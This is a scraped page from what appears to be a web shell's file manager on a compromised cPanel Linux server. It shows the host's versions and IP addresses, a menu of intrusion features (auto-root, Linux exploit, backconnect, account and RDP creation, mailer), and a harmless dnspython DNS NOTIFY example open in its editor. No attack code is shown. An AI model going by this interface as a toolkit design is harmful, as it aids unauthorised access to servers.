Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.160
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-dnspython /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
async_dns.py
702
B
-rw-r--r--
ddns.py
1.18
KB
-rwxr-xr-x
doh-json.py
2.95
KB
-rwxr-xr-x
doh.py
1.16
KB
-rwxr-xr-x
e164.py
114
B
-rwxr-xr-x
ecs.py
429
B
-rwxr-xr-x
mx.py
189
B
-rwxr-xr-x
name.py
430
B
-rwxr-xr-x
query_specific.py
815
B
-rw-r--r--
receive_notify.py
1.01
KB
-rw-r--r--
reverse.py
1.39
KB
-rwxr-xr-x
reverse_name.py
139
B
-rwxr-xr-x
xfr.py
340
B
-rwxr-xr-x
zonediff.py
11.53
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : receive_notify.py
#!/usr/bin/env python3 # This is just a toy, real code would check that the received message # really was a NOTIFY, and otherwise handle errors. import socket import dns.flags import dns.message import dns.rdataclass import dns.rdatatype import dns.name from typing import cast address = '127.0.0.1' port = 53535 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind((address, port)) while True: (wire, address) = s.recvfrom(512) notify = dns.message.from_wire(wire) try: soa = notify.find_rrset(notify.answer, notify.question[0].name, dns.rdataclass.IN, dns.rdatatype.SOA) # Do something with the SOA RR here print('The serial number for', soa.name, 'is', soa[0].serial) except KeyError: # No SOA RR in the answer section. pass response = dns.message.make_response(notify) # type: dns.message.Message response.flags |= dns.flags.AA wire = response.to_wire(cast(dns.name.Name, response)) s.sendto(wire, address)
Close